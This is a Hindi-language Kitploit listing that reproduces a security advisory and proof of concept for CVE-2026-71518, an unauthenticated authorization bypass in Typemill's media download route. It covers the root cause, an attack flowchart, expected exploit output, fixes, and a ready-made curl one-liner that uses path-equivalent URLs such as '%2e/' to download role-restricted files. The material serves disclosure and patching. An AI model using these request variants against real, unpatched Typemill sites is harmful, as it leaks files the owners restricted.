Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-71518 — Typemill मीडिया डाउनलोड में अनधिकृत प्राधिकरण बायपास के लिए एडवाइज़री और PoC, जो भूमिका-प्रतिबंधित फ़ाइलों तक पहुँचने के लिए पथ-समतुल्य URL वेरिएंट का उपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/ilhomjonr/cve-2026-71518
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubilhomjonr/cve-2026-71518

CVE-2026-71518

Typemill मीडिया डाउनलोड में अनधिकृत प्राधिकरण बायपास के लिए एडवाइज़री और PoC, जो भूमिका-प्रतिबंधित फ़ाइलों तक पहुँचने के लिए पथ-समतुल्य URL वेरिएंट का उपयोग करता है।

रिपॉजिटरी देखें
1423 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-71518 — Typemill बिना प्रमाणीकरण प्राधिकरण बाईपास

पथ-समतुल्य URL वेरिएंट भूमिका-प्रतिबंधित मीडिया डाउनलोड को बायपास करते हैं

प्रतिबंध कच्चे अनुरोध पथ पर आधारित है; फ़ाइल OS-रिज़ॉल्व्ड पथ से पढ़ी जाती है — दोनों में असहमति है

CVE CVSS 3.1 CVSS 4.0 CWE

Product Status Researcher

एक नज़र में · सारांश · मूल कारण · हमला श्रृंखला · एक्सप्लॉइट · उपाय · समयरेखा


📋 एक नज़र में


🔎 सारांश

Typemill व्यवस्थापक को media/files/filerestrictions.yaml के माध्यम से व्यक्तिगत मीडिया फ़ाइलों को किसी विशिष्ट उपयोगकर्ता भूमिका तक सीमित करने की सुविधा देता है। सार्वजनिक डाउनलोड रूट को उस प्रतिबंध का पालन करना चाहिए — लेकिन यह प्रतिबंध की जाँच कच्चे अनुरोध पथ (raw request path) के विरुद्ध करता है जबकि बाइट्स फ़ाइलसिस्टम-रिज़ॉल्व्ड पथ से परोसता है। चूँकि एक ही फ़ाइल के कई पथ-समतुल्य रूप होते हैं (./name, //name, %2e/name), एक हमलावर ऐसा वेरिएंट चुनता है जो प्रतिबंध कुंजी से मेल नहीं खाता फिर भी डिस्क पर उसी फ़ाइल में रिज़ॉल्व होता है।

इस रूट पर कोई प्रमाणीकरण मिडलवेयर नहीं है, इसलिए परिणाम उन फ़ाइलों का पूर्ण रूप से बिना प्रमाणीकरण डाउनलोड है जिन्हें स्पष्ट रूप से एक भूमिका तक लॉक किया गया था।


🧬 मूल कारण

डाउनलोड रूट सार्वजनिक है — इस पर कोई auth मिडलवेयर नहीं है:

root@kitploit:~
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

system/typemill/Controllers/ControllerWebDownload.php के अंदर, एक्सेस-कंट्रोल निर्णय और फ़ाइल रीड एक ही पथ के दो अलग-अलग रूपों का उपयोग करते हैं:

root@kitploit:~
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... enforce role restriction (redirect to login if not allowed)
}

// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);

validate() केवल शाब्दिक .. अनुक्रम को अस्वीकार करता है — यह ./ या // को नॉर्मलाइज़ नहीं करता, और न ही प्रतिशत-एन्कोडेड समकक्षों को अस्वीकार करता है। इसलिए प्रतिबंध कुंजी और वह फ़ाइल जो वास्तव में पढ़ी जाती है, एक-दूसरे से बेमेल हो जाते हैं:

यह बग क्लासिक "प्राधिकरण निर्णय और संसाधन एक्सेस अलग-अलग, हमलावर-नियंत्रणीय स्ट्रिंग्स पर आधारित" पैटर्न है (CWE-639/CWE-863)। $_SERVER['REQUEST_URI'] Apache के अंतर्गत भी कच्चा (raw) रहता है, इसलिए यह सर्वर-विशिष्ट नहीं है।


⛓️ हमला श्रृंखला

root@kitploit:~
flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]
  1. व्यवस्थापक एक निजी फ़ाइल अपलोड करता है और उसे filerestrictions.yaml में एक भूमिका तक सीमित करता है।
  2. कैननिकल (मानक) URL अज्ञात (anonymous) उपयोगकर्ताओं के लिए सही ढंग से अवरुद्ध है।
  3. हमलावर एक पथ-समतुल्य वेरिएंट का अनुरोध करता है → प्रतिबंध कुंजी चूक जाती है, फ़ाइल फिर भी रिज़ॉल्व होती है → बिना किसी क्रेडेंशियल के डाउनलोड सफल हो जाता है।

💥 एक्सप्लॉइट

exploit/exploit.py इस समस्या को स्थानीय परीक्षण कंटेनर के विरुद्ध शुरू से अंत तक (end-to-end) दोहराता है। यह (1) "एडमिन" द्वारा editor भूमिका तक सीमित एक निजी फ़ाइल डालवाता है, (2) पुष्टि करता है कि कैननिकल URL अज्ञात उपयोगकर्ता के लिए अवरुद्ध है, फिर (3) उसी फ़ाइल को प्रत्येक पथ-समतुल्य वेरिएंट के माध्यम से डाउनलोड करता है।

root@kitploit:~
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

अपेक्षित आउटपुट:

root@kitploit:~
[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

किसी भी कमजोर होस्ट के विरुद्ध वन-लाइनर (केवल अधिकृत परीक्षण के लिए):

root@kitploit:~
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

PoC evidence


🛠️ उपाय

  • Typemill 2.26.0 या उसके बाद के संस्करण में अपग्रेड करें।
  • सही उपाय यह है कि अनुरोध पथ को एक बार कैननिकलाइज़/नॉर्मलाइज़ करें, फिर उस एक कैननिकल मान का उपयोग प्रतिबंध लुकअप और फ़ाइल रीड दोनों के लिए करें — ताकि एक्सेस-कंट्रोल कुंजी और परोसा गया संसाधन कभी भी बेमेल न हो सकें।
  • डिफेंस-इन-डेप्थ: पढ़ने से पहले realpath() से रिज़ॉल्व करें और मीडिया बेस डायरेक्टरी के अंतर्गत समाहित (containment) की पुष्टि करें, तथा प्रतिशत-एन्कोडेड पथ सेपरेटर को अस्वीकार करें।

🗓️ समयरेखा

दिनांकघटना
2026-08-04Typemill 2.25.0 में कमजोरी खोजी गई; PoC को Docker पर शुरू से अंत तक सत्यापित किया गया
2026-08-04

📚 संदर्भ

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518
  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-71518
  • समाधान रिलीज़: https://github.com/typemill/typemill/releases/tag/v2.26.0

केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए। © @IlhomjonR

टूल डाउनलोड करें
CVE आईडीCVE-2026-71518
उत्पादtypemill/typemill — Typemill (फ्लैट-फ़ाइल PHP CMS, Slim 4)
प्रभावितसभी संस्करण < 2.26.0 (2.25.0, कमिट 8f3901c पर सत्यापित)
समाधान2.26.0 में
कमजोरीCWE-863 (गलत प्राधिकरण) · CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास)
CVSS v3.17.5 — उच्च · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4.08.7 — उच्च
वेक्टरनेटवर्क · कोई प्रमाणीकरण नहीं · कोई उपयोगकर्ता इंटरैक्शन नहीं
प्रभावव्यवस्थापक द्वारा विशेषाधिकार प्राप्त भूमिका तक सीमित मीडिया फ़ाइलों का बिना प्रमाणीकरण डाउनलोड
शोधकर्ताIlhomjon Rustamov (@IlhomjonR)
अनुरोध पथप्रतिबंध कुंजी मेल खाई?डिस्क पर रिज़ॉल्व हुई फ़ाइलपरिणाम
/media/files/secret.pdf✅ हाँsecret.pdf🔒 अवरुद्ध (302 → लॉगिन)
/media/files/./secret.pdf❌ नहींsecret.pdf🟢 परोसा गया (200)
/media/files//secret.pdf❌ नहींsecret.pdf🟢 परोसा गया (200)
/media/files/%2e/secret.pdf❌ नहींsecret.pdf🟢 परोसा गया (200)
अनुरक्षक / VulnCheck को रिपोर्ट किया गया
—Typemill 2.26.0 में ठीक किया गया
2026-08-18CVE-2026-71518 सार्वजनिक; एडवाइजरी + PoC जारी